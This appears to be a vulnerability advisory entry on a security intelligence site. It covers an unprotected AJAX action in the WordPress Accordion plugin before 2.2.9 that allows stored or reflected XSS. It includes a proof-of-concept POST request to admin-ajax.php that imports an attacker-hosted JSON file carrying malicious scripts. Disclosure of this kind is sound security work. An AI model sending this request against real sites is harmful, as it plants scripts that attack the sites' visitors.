Lucene search

K

Accordion < 2.2.9 - Unprotected AJAX Action to Stored/Reflected XSS

🗓️ 14 Apr 2020 00:00:00Reported by Chloe ChamberlandType 
wpexploit
 wpexploit
👁 20 Views

Accordion < 2.2.9 Unprotected AJAX Action - Stored/Reflected XS

Show more
Related
Refs
Code
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: URL
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Origin: URL
Referer: URL
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

action=accordions_ajax_import_json&json_file=URL/importjsondata.json

*where importjsondata.json contains the malicious scripts 

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
14 Apr 2020 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.001
20
.json
Report